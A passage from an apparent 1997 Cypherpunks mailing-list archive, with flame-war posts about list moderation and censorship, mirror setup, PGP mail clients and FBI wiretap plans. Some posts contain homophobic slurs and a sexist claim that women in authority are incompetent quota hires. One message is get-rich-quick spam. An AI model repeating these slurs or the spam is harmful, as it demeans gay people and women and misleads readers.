14.4Kbps From ichudov at algebra.com Sat Feb 15 07:39:20 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sat, 15 Feb 1997 07:39:20 -0800 (PST) Subject: Dave Hayes takes over Cypherpunks In-Reply-To: Message-ID: <199702151534.JAA16830@manifold.algebra.com> Dr.Dimitri Vulis KOTM wrote: > > Gilmore proposes useless projects like S/Wan and misguided people waste > their time and effort instead of deploying crypto. What is wrong with S/WAN? I think that it is a great project. > And we already know that Peter Berger is a faggot because he suppresses > free speech on Usenet. - Igor. From christensen at usa.net Sat Feb 15 07:41:04 1997 From: christensen at usa.net (christensen at usa.net) Date: Sat, 15 Feb 1997 07:41:04 -0800 (PST) Subject: $10,000 in 45 days - not MLM! Message-ID: <199702151541.HAA23084@toad.com> Hello,^Morons, $10,000 in 45 days! When I first read that provocative headline I thought "Oh yeah!" Now, why do you think I'd be so skeptical? Well, if you've been involved in any other "opportunities" you'd know that the hype mostly exceeds the reality. No one could have been more surprised than me, when I actually proved the truth of that headline. Yes, I did make over $10,000 in 45 days! I'm not saying this to boast, but to tell you that it really is possible... If you'd like to know HOW, then just point your browser to: http://www.cyberius.com/CG/122/ or, simply call and listen to a short message at: 1-800-995-0796 x4347 And keep my ID for reference.... Regards, Kirt Christensen Investors International #CG122 From EALLENSMITH at ocelot.Rutgers.EDU Sat Feb 15 07:41:07 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Sat, 15 Feb 1997 07:41:07 -0800 (PST) Subject: Fuck UseNet (fwd) Message-ID: <199702151541.HAA23094@toad.com> From: IN%"ravage at EINSTEIN.ssz.com" "Jim Choate" 15-FEB-1997 07:11:54.43 >Perhaps in addition to the X-foo structures we have discussed already we >might consider adding, >X-distrib-policy: foo >Where foo might be, > Public Domain > All rights reserved, contact author for redistribution > Distribution for non-commercial uses permitted > Refer to authors header > Copyleft > etc. >or whatever the policy might be for a given remailer. This would >significantly aid folks in their shopping around. The basic difficulty with this idea is that _senders_ generally don't have much of a choice where the messages go, once you've decided to accept them. In other words, just because you've decided to accept a message doesn't mean it suddenly becomes copyleft/public domain/whatever. Now, if you, say, announced that only subscribers to your particular list, subscribers to any other lists adopting the same idea, and those who'd sign a consent agreement could post through your list, that wouldn't be a problem... although I suspect you wouldn't get many subscribers. -Allen From dave at kachina.jetcafe.org Sat Feb 15 07:41:08 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Sat, 15 Feb 1997 07:41:08 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702151541.HAA23095@toad.com> So you write: >Many good authors have already left the list and *nothing* will get them >back. Are you implying that any given mailing list should be controlled by the best authors? ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet Excuses are the tools with which those with no purpose in view build for themselves great monuments of nothing. From whgiii at amaranth.com Sat Feb 15 07:41:13 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Sat, 15 Feb 1997 07:41:13 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <199702151541.HAA23106@toad.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 02/14/97 at 12:31 PM, Martin Minow said: >My first reaction to the "Death of Cypherpunks" (Declan McCullagh's article in >http://netlynews.com Feb 12, 1997) is that it is another example of "The >Tragedy of the Commons." -- the (unsolvable) problem of unlimited access to a >limited resource. Cypherpunks was also >susceptable to the strange Internet phenomenon where people could be proud of >their anti-social, bad behavior (flame wars, "grafitti" in the form of spam). >For this reason, I suspect that the future of the Internet in general, and >Cyphperpunks in particular, will require serious editorial control (as is done >by the Risks and Privacy digests). >The only other alternative I can see would be to limit membership >-- but not limit what members might write. In the long term, I suppose we'll >have sufficiently intelligent software agents that can recognize spam and >flaming and invisibly delete them from our e-mail in-boxes. I compleetly dissagree with you. The "Death of Cypherpunks" was not caused limited resources, or by spam, or by the posts of the "good doctor". It was killed by two factors. The first was the winning and sinviling crowd that was just too dam lazy to filter their mail. With some very basic filtering the majority of the noise could be removed from the list. There were a group of list members that were unwilling to take the small amount of effort required to do this. They are the same type of people who wine and cry that the governmnet should regulate this or regulate that all too willing to give up a "little" freedom for promisises of extra "security". As if this was not bad enough they typically demanded that everyone else give up a "little" freedom along with them so they could have there extra "security". The second and and even more deadly factor in the demise of the list was that John & Sandy listened to these sheep. If there was such a great demand for a censored cypherpunks list then they should have created a new censored list. Those who wanted the services of Sandy to censor the list would have been free to switch while leaving the main list intact. Instead the list was censored and a cypherpunks-flams & a cypherpunks-unsensored lists were created. These list were created with the promise that anything that did not make it onto the main list would be placed onto the flames list. Well the inevitable happened a message was posted that Sandy felt he could not forward to the flames list. All this brew-ha-ha could have been avoided if Sandy had just posted a message to the flame list stating that Dimitri had posted some crap that he could not or would not repost to the flames list. No one would have faulted him for it as all but the newest of list members know Dimitri. Instead threats of lawsuits were addressed to anyone who even mentioned Dimitri's accusations. This blatent act of censorship by Sandy and supported by John is what has brought cypherpunks to where it is right now. Rather irronic that leaders of the fight against "censorship" would use such tactics when it suits their needs. >What bothers me more than anything else about the "solutions" I've seen >proposed to the death of Cypherpunks is that they rely on technology -- and >reject human judgement -- to solve what is, in reality, a social problem. (One >can certainly make the same argument about the V-chip, browser porn filters, >and similar hacks.) What bothers me more than anything is how false "problems" are created so "solutions" can be implemented. Censorship of the list was NEVER needed. Censorship of TV is not needed (ala V-chip). Censorship of cryptology is not needed (via ITAR). Censorship is NEVER needed nor warented. Period. - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: Bugs come in through open Windows. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 0000000 iQCVAwUBMwW7ro9Co1n+aLhhAQHIpQP/QTE6N5KpQoWvdC+mbzodR9th4GKOXjfh RO1gyOElBP42S6VOUkyk1inNAf39l3Zux3z4LG1Eq5PDheXQAtME2d8+niWInpf0 8AOxwO+o6taw/YToXAOCfr29c9ciCUDsjP7fe702x6JcGfSlcjnfyfL5pNXa226A uw3FsD+jgFM= =pb3t -----END PGP SIGNATURE----- From nobody at diacenter.org Sat Feb 15 07:43:39 1997 From: nobody at diacenter.org (List-Owner) Date: Sat, 15 Feb 1997 07:43:39 -0800 (PST) Subject: Welcome Message-ID: <199702151039.KAA03924@diacenter.org> Welcome to Dia's Press Releases mailing list. You will be sent press releases about Dia's exhibitions and other programs. If you have questions or would like to request more press information, please contact Jennie Prebor at jennie at diacenter.org or (212) 989-5566 x 118. If you would like to stop receiving mailings, please send an email to list-owner at diacenter.org with the subject line "Remove me from Dia News." PLEASE NOTE: You may receive more than one message indicating a succesful subscription. If you joined more than one of Dia's mailing lists, you will receive one message for each list you joined. Thank you for your interest in Dia Center for the Arts. Dia Center for the Arts 548 West 22nd Street New York, NY 10011 http://www.diacenter.org From nobody at diacenter.org Sat Feb 15 07:43:40 1997 From: nobody at diacenter.org (List-Owner) Date: Sat, 15 Feb 1997 07:43:40 -0800 (PST) Subject: Welcome Message-ID: <199702151039.KAA03926@diacenter.org> Welcome to Dia's Advance Listings mailing list. You will be sent advance listings approximately monthly with information on Dia's exhibitions and other upcoming programs. If you have questions or would like to request more press information, please contact Jennie Prebor at jennie at diacenter.org or (212) 989-5566 x 118. If you would like to stop receiving mailings, please send an email to list-owner at diacenter.org with the subject line "Remove me from Dia News." PLEASE NOTE: You may receive more than one message indicating a succesful subscription. If you joined more than one of Dia's mailing lists, you will receive one message for each list you joined. Thank you for your interest in Dia Center for the Arts. Dia Center for the Arts 548 West 22nd Street New York, NY 10011 http://www.diacenter.org From jya at pipeline.com Sat Feb 15 07:55:58 1997 From: jya at pipeline.com (John Young) Date: Sat, 15 Feb 1997 07:55:58 -0800 (PST) Subject: FBI_100 Message-ID: <199702151555.HAA23608@toad.com> 2-15-97. NYP: "Phone Companies Balk At Latest Plan by FBI." Markoff. Telcos are arguing that the new system will be far more intrusive and expensive than industry first thought, and would expand LEA wiretap capabilities 100-fold. "This is kind of scary. What does the FBI know about our future that we don't?" ----- FBI_100 ---------- See the FBI's latest wiretap plan at: http://jya.com/fbi011497.txt From ichudov at algebra.com Sat Feb 15 07:56:09 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sat, 15 Feb 1997 07:56:09 -0800 (PST) Subject: Dave Hayes takes over Cypherpunks Message-ID: <199702151556.HAA23651@toad.com> Dr.Dimitri Vulis KOTM wrote: > > Gilmore proposes useless projects like S/Wan and misguided people waste > their time and effort instead of deploying crypto. What is wrong with S/WAN? I think that it is a great project. > And we already know that Peter Berger is a faggot because he suppresses > free speech on Usenet. - Igor. From ghio at temp0019.myriad.ml.org Sat Feb 15 07:56:11 1997 From: ghio at temp0019.myriad.ml.org (Matthew Ghio) Date: Sat, 15 Feb 1997 07:56:11 -0800 (PST) Subject: Cypherpunks afraid of spam? Message-ID: <199702151556.HAA23655@toad.com> aaron at herringn.com wrote: > [Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule > him personally, just his (distressingly common) attitude] > > >Just for the record. I will not post to USENET given the spamming that > >seems to go to IDs that appear there. > > [chuckle] > > Just add an anti-spam segment to your email address. > > example: > > jsmith[at]foo.com > > Most people worth talking to have enough of a clue to replace [at] with @. Actually, I have a completely valid email address in this post (for now). If it gets spammed I will just delete the DNS record. (or maybe point it back at the spammer. :) And I'm sure we all know how to use remailers... From nobody at diacenter.org Sat Feb 15 07:56:11 1997 From: nobody at diacenter.org (List-Owner) Date: Sat, 15 Feb 1997 07:56:11 -0800 (PST) Subject: Welcome Message-ID: <199702151556.HAA23654@toad.com> Welcome to Dia's Press Releases mailing list. You will be sent press releases about Dia's exhibitions and other programs. If you have questions or would like to request more press information, please contact Jennie Prebor at jennie at diacenter.org or (212) 989-5566 x 118. If you would like to stop receiving mailings, please send an email to list-owner at diacenter.org with the subject line "Remove me from Dia News." PLEASE NOTE: You may receive more than one message indicating a succesful subscription. If you joined more than one of Dia's mailing lists, you will receive one message for each list you joined. Thank you for your interest in Dia Center for the Arts. Dia Center for the Arts 548 West 22nd Street New York, NY 10011 http://www.diacenter.org From ichudov at algebra.com Sat Feb 15 07:56:20 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sat, 15 Feb 1997 07:56:20 -0800 (PST) Subject: Switching to full traffic mode Message-ID: <199702151556.HAA23682@toad.com> I would like to warn and ask subscribers of cypherpunks at algebra.com. We are going ot get full feel from Lance Cottrell and cypherpunks-unedited at toad.com. We will filter messages by Message-ID to get rid of duplicates. It means that there is no sense (unless you want to confirm my integrity as the list host) to be subscribed to any of the other lists, as you will be getting multiple copies of messages. If you are afraid of that and use Unix, the following procmail recipe gets rid of duplicates: # # This recipe removes duplicates! # :0 Wh: msgid.lock | formail -D 32768 msgid.cache I am somwehat concerned by the behavior of my majordomo which is very paranoid about incoming messages: it rejects all messages that it THINKS are attempts to suscribe and unsuscribe. In this rejection, it is sometimes too broad. I do not know how to solve this problem. ATTENTION: if you want to get a feed from me, PLEASE send me a note and do not simply subscribe your mailing list to cypherpunks at algebra.com. It is because I want to send you the messages before my majordomo rewrites headers. - Igor. From nobody at diacenter.org Sat Feb 15 07:56:20 1997 From: nobody at diacenter.org (List-Owner) Date: Sat, 15 Feb 1997 07:56:20 -0800 (PST) Subject: Welcome Message-ID: <199702151556.HAA23681@toad.com> Welcome to Dia's Advance Listings mailing list. You will be sent advance listings approximately monthly with information on Dia's exhibitions and other upcoming programs. If you have questions or would like to request more press information, please contact Jennie Prebor at jennie at diacenter.org or (212) 989-5566 x 118. If you would like to stop receiving mailings, please send an email to list-owner at diacenter.org with the subject line "Remove me from Dia News." PLEASE NOTE: You may receive more than one message indicating a succesful subscription. If you joined more than one of Dia's mailing lists, you will receive one message for each list you joined. Thank you for your interest in Dia Center for the Arts. Dia Center for the Arts 548 West 22nd Street New York, NY 10011 http://www.diacenter.org From dlv at bwalk.dm.com Sat Feb 15 07:56:27 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 15 Feb 1997 07:56:27 -0800 (PST) Subject: Message-ID: <199702151556.HAA23695@toad.com> "Michael Froomkin - U.Miami School of Law" writes: > [cc list trimmed!] > > On Fri, 14 Feb 1997 paul at fatmans.demon.co.uk wrote: > > > > > > Is it legal or illegal to send a > > > PGP encrypted message from the US to someone in another country? > > > > Yes. > > Rubbish. It is perfectly legal. See generally > http://www.law.miami.edu/~froomkin/articles/clipper.htm I remember teaching in my computer security class how in 1944 the congress passed an act making it illegal to send encrypted messages fro m the U.S. to abroad via snail mail, radio, etc; it covers the not yet invented communications too (like computer networks) and is on the books in U.S.Code somewhere. No further laws need to be passed for the fuckers to start enforcing it. > PS. His sexist comments are rubbish too. I usually like his crypto posts, > however, as long as they are technical rather than legal... Paul's sexist comments are very interesting - I hope to find more time to comment on them too. I don't know if they have the same kind of "affirmative action" in the U.K. that they have in the U.S. - here if you find a woman in the position of authority, there's a good chance that she was promoted ahead of more qualified men to meet some quota, and is therefore incompetent. Remember how Klintoris (spit, spit) was determined to have a female attorney general 4 years ago, and went through a slew of female candidates, rejecting the best qualified ones like Kimba Wood, because she did what every working mother in this country does - hired a babysitter for cash - and finally appointed the bull dyke murdreress? No wonder the most ignorant shysters on this forum, like Jim Ray (spit) come from Florida. Did he take classes with Froomkin? :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From rah at shipwright.com Sat Feb 15 07:57:58 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sat, 15 Feb 1997 07:57:58 -0800 (PST) Subject: Mirrors and replies-to Message-ID: <199702151557.HAA23736@toad.com> Well, so far, I've got three cypherpunks mailboxes. One for sirius, one for algebra, and one for toad. It was interesting to me that I got stuff from the mirrors faster than toad until I remembered that the mirrors are wired to the unmoderated list at toad, and I'm still subscribed to the moderated list there. However, I would like it if the mirror operators would reinstantiate a feature of the original list for me. The reply-to field on the mirrors is currently set to cypherpunks at toad.com. On the original list, this was set to "sender", both to keep people from replying to the list unnecessarily (hah! :-)) but also to keep mail loops from forming. Mail loops could be a big problem, especially when you guys put together your neo-netnews mailring. (a little jyaism, that... :-)). Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From dthorn at gte.net Sat Feb 15 08:07:52 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 08:07:52 -0800 (PST) Subject: Private property & the cypherpunks list(s) In-Reply-To: <199702141745.JAA19682@songbird.com> Message-ID: <3305DF34.5C2E@gte.net> Kent Crispin wrote: > ichudov at algebra.com allegedly said: > > Firebeard wrote: > > > >>>>> Igor Chudov @ home writes: > > > And once I'm up and running, my cypherpunks list server will > > > not be interconnected with any server which has a similar AUP. The > > > implication of the AUP is that if you _don't_ comply with it, you will > > > be blocked. Without such an implication, the AUP is meaningless, and > > > I'm dedicated that there should be no filtering/blocking of any kind, > > > of the list. Persons behaving 'unacceptably' should be handled by > > > social pressures by others in the 'community' of the list, and not by > > > policies of the list operators. > I can understand this sentiment, given the events of the past couple > of months, but it seems short-sighted. If this scheme grows there > could be several hundred or more mailers involved, and there is no > technical reason why moderated lists couldn't be included. > Remember that each list operator actually represents a community of > users, users who are *free* to go elsewhere if they choose. Clearly, > some people would chose to populate a filtered list. There is no > reason whatsoever to discriminate against them. There could be, but that would be on a case-by-case basis. There are times when carrying a censored feed that you'd be giving tacit approval to the censorship itself. Again, case-by-case basis. From scotta at sauge.com Sat Feb 15 08:21:01 1997 From: scotta at sauge.com (Scott Auge) Date: Sat, 15 Feb 1997 08:21:01 -0800 (PST) Subject: Cryptanalysis Message-ID: <3305E270.274EC8C6@sauge.com> Was wondering if anyone could help me with short explainations on the cryptanalysis of SKIPJACK and DES. If ya hit www.sauge.com/crypt you might get a better idea of what i'm trying to accomplish. Vague explanations are OK. Dont want long drawn out explainations on the implementation of an attack (source code, proofs, statistical analysis and the like), just a short explaination of the attack. Thanks all, Scott -- How has the government interfered in your life today? From dthorn at gte.net Sat Feb 15 08:35:12 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 08:35:12 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] In-Reply-To: <199702141704.JAA03249@netcom10.netcom.com> Message-ID: <3305E540.58@gte.net> Mike Duvos wrote: > John Gilmore writes: > [Fluffy Gilmore apologia by Declan expunged] > Two small points. > 1. The rift between Gilmore/EFF and Cypherpunks is hardly > of recent origin, and dates back to when the EFF first > demonstrated to horrified Cypherpunks that its policy > would be one of appeasement and capitulation towards > clearly unacceptable legislation. This is all in the > archives, including Tim May's essay on why he chose not > to renew his EFF membership. > 2. The article fails to mention Gilmore's new nickname. :) I'm so disgusted by the other disinformation put out by John's loyal friends (i.e. "respected" cypherpunks) on the subject of "disrupters and sociopaths", etc. that I try not to reply to any of the crud I see posted by those clowns. But when someone tries to be reasonable, conversation is possible. So how about some points on "disrupters": 1. Disrupters don't like bullies. 2. Disrupters don't like mindless authorities. 3. Disrupters don't like control freaks. 4. Disrupters don't like liars and hypocrites. 5. Disrupters don't like NSA/CIA/DEA/FBI trolls. 6. Disrupters don't like Animal Farm policies and elitists. In short, if Gilmore had come down on the real problem people once in a while, they wouldn't have agitated the "disrupters" nearly as much as they did. But he wasn't about to do that, because he's one of the problem people himself. Fooey on you, Gilmore. May you never work in this business again. From antimod at nym.alias.net Sat Feb 15 08:54:13 1997 From: antimod at nym.alias.net (Against Moderation) Date: Sat, 15 Feb 1997 08:54:13 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <51662D33w165w@bwalk.dm.com> Message-ID: <19970215165408.26292.qmail@anon.lcs.mit.edu> dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes: > > * If gays ruined usenet, does that mean at one point usenet was a > > good thing before it was ruined? If so, gay people at least > > deserve credit for creating something good, even if they didn't > > manage to run it well. > > Suppose for argument's sake that the people who created Usenet all > happened to be gay. Why would "gay people" as a whole, most of whom > had nothing to do with it, deserve credit for it? Okay. Suppose for argument's sake that the people who are censoring Usenet all happen to be gay? Why, then, would all gay people deserve blame for these actions? Now suppose they aren't gay. Them whom are these homohpobic rants really attacking? Gay people or censors? If you say, for instance, "New cypherpunks list for heterosexuals only", who do you think is actually going to be affected by this? Certainly not Gilmore who is completely disillusioned with cypherpunks at this point and not likely to subscribe any mailing list a person like that runs anyway. Rather, you are attacking people who happen to be gay but would otherwise be interested in subscribing to the mailing list. Now suppose it's not instantly possible to discern a person's sexual orientation over the internet, as Dr. Grubor claims it is. Suppose further that some of the people who censor Usenet are gay, and others aren't. Some of the people in favor of free speech are gay, others are not. Many of those who are straight don't just come out and say, "I am not gay," for the simple reason that they oppose discrimination based on sexual orientation and don't believe one's sexual orientation should be relevant to a debate on censorship. In such a case, refocusing the debate on homosexuality rather than censorship hardly furthers your objectives. I believe homophobia is a great way to bring out the censors in people. However, inducing censorship is only part of fighting it. You also need respectable people to some in, argue cogently against the dangers of censorship, perhaps even get some extremely reasonable articles suppressed, and then spread the word about it. I find the freedom-knights tactics' extremely lacking in this second, "clean up and analyze the mess" phase. As a recent example illustrates well, Vulis did a nice job of inducing censorship on cypherpunks. However, I think most peoples' opinions didn't really turn, or at least people didn't realize how serious things were and didn't really care, until Tim May [someone the many freedom-knights hate] started criticizing this censorship in extremely reasonable messages that were suppressed from both the -edited and -flames mailing list. From dthorn at gte.net Sat Feb 15 09:07:32 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 09:07:32 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <855947489.1029218.0@fatmans.demon.co.uk> Message-ID: <3305E7F8.8DD@gte.net> paul at fatmans.demon.co.uk wrote: > I do not begin to believe this is correct. I happen to believe that > sexism, not in the sense of believing women inferior but in the sense > of believing homosexuals inferior can be, in some instances, a form > of bigotry but it is merely a matter of semantics and not of interest. > I wholeheartedly agree with the last point, anybody who believes in > any form of deity or higher being (call it god if you like) is, IMHO, > a fool. However, this has proven in history to be contradicted on a > number of occasions, for example, Albert Einstein was a Jew but did > not just accept without enquiry, rather, his religious views were > subtle and well thought through. I thought Einstein's ideas on social matters (incl. religion) were naive and sentimental. There's a difference in saying "I believe there's a God" and "I believe in a God". Of course, either way one could be implying a hidden or unspecified set of agendas concomitant with such a belief. In the movie "Jesus Of Nazareth" is a classic example of why to believe or not believe in a religion, i.e. things unseen: At the end, the followers are in a small room, fearing for their safety and all, and they say to Jesus "how is anyone going to believe all this stuff" (or words to that effect), and Jesus replies "because you are my witnesses. Tell them and they will believe". See how simple that was? From snow at smoke.suba.com Sat Feb 15 09:21:29 1997 From: snow at smoke.suba.com (snow) Date: Sat, 15 Feb 1997 09:21:29 -0800 (PST) Subject: More on digital postage In-Reply-To: <199702150841.AAA07715@toad.com> Message-ID: <199702151740.LAA04710@smoke.suba.com> Mr. Bell wrote: > At 03:31 AM 2/14/97 -0800, John C. Randolph wrote: > >Tim may says: > >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut > >>violations of the First Amendment. I understand why the herd _wants_ these > >>laws, as it reduces the costs involved in replacing fax paper, running to > >>the telephone only to find someone trying to sell something, etc., but it > >>is quite clearly a prior restraint on speech, however well-intentioned. > >I have to disagree here. The junk fax law is a restraint on unauthorised > >use of property, i.e. *my* fax machine, *my* phone, etc. > However, you connect that fax machine to a phone line, when you know full > well that should it be enabled to do so, it will automatically pick up the > phone when it "hears" a ring, and will print out a fax based on information > provided. It isn't clear why sending a fax is any "wronger" than mailing > junk mail, or making a (voice) phone call to somebody. That is a ridiculous argument. The door to my home is connected to the street,m and I know full well that that makes it easy for anyone to come wandering in to my home. Is it legal, just because I have my home hooked to the street, for someone to come in and help themselves to a beer out of my fridge? Nope. Sure I realize that they _can_, but that doesn't make it right, and it doesn't make it legal. From snow at smoke.suba.com Sat Feb 15 09:24:17 1997 From: snow at smoke.suba.com (snow) Date: Sat, 15 Feb 1997 09:24:17 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 In-Reply-To: <199702150726.BAA13632@manifold.algebra.com> Message-ID: <199702151743.LAA04722@smoke.suba.com> > Well, they will stop sending you money if they find out that you do not buy > their products. > > - Igor. As long as they stop sending the Ads. From scotta at sauge.com Sat Feb 15 09:26:01 1997 From: scotta at sauge.com (Scott Auge) Date: Sat, 15 Feb 1997 09:26:01 -0800 (PST) Subject: Cryptanalysis Message-ID: <199702151726.JAA27016@toad.com> Was wondering if anyone could help me with short explainations on the cryptanalysis of SKIPJACK and DES. If ya hit www.sauge.com/crypt you might get a better idea of what i'm trying to accomplish. Vague explanations are OK. Dont want long drawn out explainations on the implementation of an attack (source code, proofs, statistical analysis and the like), just a short explaination of the attack. Thanks all, Scott -- How has the government interfered in your life today? From fred at lightside.net Sat Feb 15 09:26:03 1997 From: fred at lightside.net (Fred Condo) Date: Sat, 15 Feb 1997 09:26:03 -0800 (PST) Subject: Waiting for Mac version [was Re: Full strength Email Clients] Message-ID: <199702151726.JAA27024@toad.com> At 3:30 PM -0800 2/13/97, P.J. Westerhof wrote: >At 12:10 7-02-97 -0500, Timothy Hill wrote: >>Meanwhile, a beta version of "Pretty Safe Mail" >> is available from >>Highware in Belgium. It's PGP compatible, and its user interface is a >>great leap forward from any Mac PGP front end I've seen. But, it still has >>some deficiencies, it's very slow (25 seconds to sign this message on a 25 >>MHz 68040 vs. 4 seconds for ViaCrypt PGP 2.7.1), and (as was recently >>discussed on a couple of these lists) its source code hasn't been published >>or externally audited. > >And today - one week later - *no* version is currently available. >I would say this adds to the reservations some of us may have had about PSM. >Thus far PGPMail 4.5 leaves out not only Mac-users, but W3.11-users also. I >have asked PGP.com what they intend to do about the 3.11-users >(W32s-enhanced or not). Since I'm sticking to W3.11 for the time being: >somebody else have any suggestions? I notice that PSM has had a name change concurrent with its availability change. Could the unavailability have to do with a trademark dispute between Highware & PGP, Inc.? Is Highware going to release the source code of VSM? Is PGP, Inc. going to release the source code of PGPMail 4.5? If the answer is no, I am sticking with the free PGP. If the answer is no, I guess these firms are expecting ignorance to be the primary characteristic of their customers. From dthorn at gte.net Sat Feb 15 09:26:06 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 09:26:06 -0800 (PST) Subject: Private property & the cypherpunks list(s) Message-ID: <199702151726.JAA27025@toad.com> Kent Crispin wrote: > ichudov at algebra.com allegedly said: > > Firebeard wrote: > > > >>>>> Igor Chudov @ home writes: > > > And once I'm up and running, my cypherpunks list server will > > > not be interconnected with any server which has a similar AUP. The > > > implication of the AUP is that if you _don't_ comply with it, you will > > > be blocked. Without such an implication, the AUP is meaningless, and > > > I'm dedicated that there should be no filtering/blocking of any kind, > > > of the list. Persons behaving 'unacceptably' should be handled by > > > social pressures by others in the 'community' of the list, and not by > > > policies of the list operators. > I can understand this sentiment, given the events of the past couple > of months, but it seems short-sighted. If this scheme grows there > could be several hundred or more mailers involved, and there is no > technical reason why moderated lists couldn't be included. > Remember that each list operator actually represents a community of > users, users who are *free* to go elsewhere if they choose. Clearly, > some people would chose to populate a filtered list. There is no > reason whatsoever to discriminate against them. There could be, but that would be on a case-by-case basis. There are times when carrying a censored feed that you'd be giving tacit approval to the censorship itself. Again, case-by-case basis. From dthorn at gte.net Sat Feb 15 09:26:10 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 09:26:10 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <199702151726.JAA27035@toad.com> Mike Duvos wrote: > John Gilmore writes: > [Fluffy Gilmore apologia by Declan expunged] > Two small points. > 1. The rift between Gilmore/EFF and Cypherpunks is hardly > of recent origin, and dates back to when the EFF first > demonstrated to horrified Cypherpunks that its policy > would be one of appeasement and capitulation towards > clearly unacceptable legislation. This is all in the > archives, including Tim May's essay on why he chose not > to renew his EFF membership. > 2. The article fails to mention Gilmore's new nickname. :) I'm so disgusted by the other disinformation put out by John's loyal friends (i.e. "respected" cypherpunks) on the subject of "disrupters and sociopaths", etc. that I try not to reply to any of the crud I see posted by those clowns. But when someone tries to be reasonable, conversation is possible. So how about some points on "disrupters": 1. Disrupters don't like bullies. 2. Disrupters don't like mindless authorities. 3. Disrupters don't like control freaks. 4. Disrupters don't like liars and hypocrites. 5. Disrupters don't like NSA/CIA/DEA/FBI trolls. 6. Disrupters don't like Animal Farm policies and elitists. In short, if Gilmore had come down on the real problem people once in a while, they wouldn't have agitated the "disrupters" nearly as much as they did. But he wasn't about to do that, because he's one of the problem people himself. Fooey on you, Gilmore. May you never work in this business again. From dthorn at gte.net Sat Feb 15 09:26:14 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 09:26:14 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702151726.JAA27041@toad.com> paul at fatmans.demon.co.uk wrote: > I do not begin to believe this is correct. I happen to believe that > sexism, not in the sense of believing women inferior but in the sense > of believing homosexuals inferior can be, in some instances, a form > of bigotry but it is merely a matter of semantics and not of interest. > I wholeheartedly agree with the last point, anybody who believes in > any form of deity or higher being (call it god if you like) is, IMHO, > a fool. However, this has proven in history to be contradicted on a > number of occasions, for example, Albert Einstein was a Jew but did > not just accept without enquiry, rather, his religious views were > subtle and well thought through. I thought Einstein's ideas on social matters (incl. religion) were naive and sentimental. There's a difference in saying "I believe there's a God" and "I believe in a God". Of course, either way one could be implying a hidden or unspecified set of agendas concomitant with such a belief. In the movie "Jesus Of Nazareth" is a classic example of why to believe or not believe in a religion, i.e. things unseen: At the end, the followers are in a small room, fearing for their safety and all, and they say to Jesus "how is anyone going to believe all this stuff" (or words to that effect), and Jesus replies "because you are my witnesses. Tell them and they will believe". See how simple that was? From antimod at nym.alias.net Sat Feb 15 09:26:19 1997 From: antimod at nym.alias.net (Against Moderation) Date: Sat, 15 Feb 1997 09:26:19 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702151726.JAA27051@toad.com> dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes: > > * If gays ruined usenet, does that mean at one point usenet was a > > good thing before it was ruined? If so, gay people at least > > deserve credit for creating something good, even if they didn't > > manage to run it well. > > Suppose for argument's sake that the people who created Usenet all > happened to be gay. Why would "gay people" as a whole, most of whom > had nothing to do with it, deserve credit for it? Okay. Suppose for argument's sake that the people who are censoring Usenet all happen to be gay? Why, then, would all gay people deserve blame for these actions? Now suppose they aren't gay. Them whom are these homohpobic rants really attacking? Gay people or censors? If you say, for instance, "New cypherpunks list for heterosexuals only", who do you think is actually going to be affected by this? Certainly not Gilmore who is completely disillusioned with cypherpunks at this point and not likely to subscribe any mailing list a person like that runs anyway. Rather, you are attacking people who happen to be gay but would otherwise be interested in subscribing to the mailing list. Now suppose it's not instantly possible to discern a person's sexual orientation over the internet, as Dr. Grubor claims it is. Suppose further that some of the people who censor Usenet are gay, and others aren't. Some of the people in favor of free speech are gay, others are not. Many of those who are straight don't just come out and say, "I am not gay," for the simple reason that they oppose discrimination based on sexual orientation and don't believe one's sexual orientation should be relevant to a debate on censorship. In such a case, refocusing the debate on homosexuality rather than censorship hardly furthers your objectives. I believe homophobia is a great way to bring out the censors in people. However, inducing 